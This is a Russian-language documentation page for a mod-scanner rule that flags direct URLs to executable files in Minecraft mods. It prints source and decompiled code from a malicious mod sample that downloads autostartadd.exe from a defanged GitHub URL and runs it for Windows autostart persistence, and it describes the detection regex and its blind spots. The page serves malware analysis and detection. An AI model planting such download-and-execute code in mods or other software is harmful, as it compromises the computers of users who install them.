Direct Binary Download URL

Executable_Download_URL Вредоносное ПО (Malware) CRITICAL +10 очков

🎮 Влияние на механику Minecraft

Модификации для Minecraft поставляются в виде архивов Java (.jar) и исполняются под управлением виртуальной машины. Когда моду требуется загрузить дополнительные ресурсы, звуки или зависимости, они передаются в кроссплатформенных форматах (.jar, .json, .ogg, .png).

Executable_Download_URL выявляет наличие прямых ссылок на нативные исполняемые файлы (.exe, .bat, .ps1). В подтвержденном вредоносном образце (com.hittools.HitToolsClient в libs.jar) разработчик встроил прямую ссылку на репозиторий GitHub для загрузки .exe файла (autostartadd.exe). При вызове метод скачивает исполняемый файл во временный каталог системы и запускает его через Runtime.getRuntime().exec() для закрепления мода в автозагрузке Windows.

Влияние ограничено целевой платформой: код образца явно проверяет, содержит ли свойство os.name строку windows. На системах под управлением Linux или macOS метод выводит сообщение об ошибке и прерывает работу без скачивания бинарного файла.

🔍 Анализируемые функции и API

ConstantPool CONSTANT_Utf8

Строковый литерал в пуле констант класса с прямой ссылкой на исполняемый файл (.exe, .dll, .bat).

💻 Реализация в моде (Исходный код)

    private static void addToStartup() {
        try {
            out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");

            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                out.println("FUN_STATUS:[ERR] Только для Windows");
                return;
            }

            String jarPath = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
            String tempDir = System.getProperty("java.io.tmpdir");

            String autostartUrl = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
            String autostartPath = tempDir + "autostartadd.exe";

            out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");

            // Скачиваем программу
            downloadFile(autostartUrl, autostartPath);

            File autostartExe = new File(autostartPath);
            if (!autostartExe.exists()) {
                out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
                return;
            }

            out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");

            // Запускаем программу с параметром -add и нашим jar файлом
            String command = String.format("\"%s\" -add \"%s\"", autostartPath, jarPath);

            Process process = Runtime.getRuntime().exec(command);
            int exitCode = process.waitFor();
            // ...

⚙️ Декомпилированный вид (Vineflower)

   private static void addToStartup() {
      try {
         out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");
         if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
            out.println("FUN_STATUS:[ERR] Только для Windows");
            return;
         }

         String var0 = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
         String var1 = System.getProperty("java.io.tmpdir");
         String var2 = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
         String var3 = var1 + "autostartadd.exe";
         out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");
         downloadFile(var2, var3);
         File var4 = new File(var3);
         if (!var4.exists()) {
            out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
            return;
         }

         out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");
         String var5 = String.format("\"%s\" -add \"%s\"", var3, var0);
         Process var6 = Runtime.getRuntime().exec(var5);
         int var7 = var6.waitFor();
         // ...

🛡️ Сигнатура байткода и статический детект

Детектор анализирует строковые константы в пуле констант класса (CONSTANT_Utf8) на наличие URL-адресов, оканчивающихся расширениями исполняемых файлов и скриптов операционной системы:

  • Исполняемые бинарные файлы и библиотеки: .exe, .dll, .msi.
  • Скрипты и командные файлы: .bat, .cmd, .ps1, .sh, .vbs.

Регулярное выражение ищет сетевой протокол с путем, оканчивающимся на указанные расширения, с поддержкой необязательных параметров запроса ((?:[?#][^\s"']*)?).

Сигнатура фиксирует наличие опасного URL непосредственно в байткоде. Главное ограничение заключается в ориентации на строковые константы: если адрес формируется динамически, подгружается из внешнего конфига или собирается конкатенацией фрагментов во время выполнения, статическое сопоставление строк не сработает.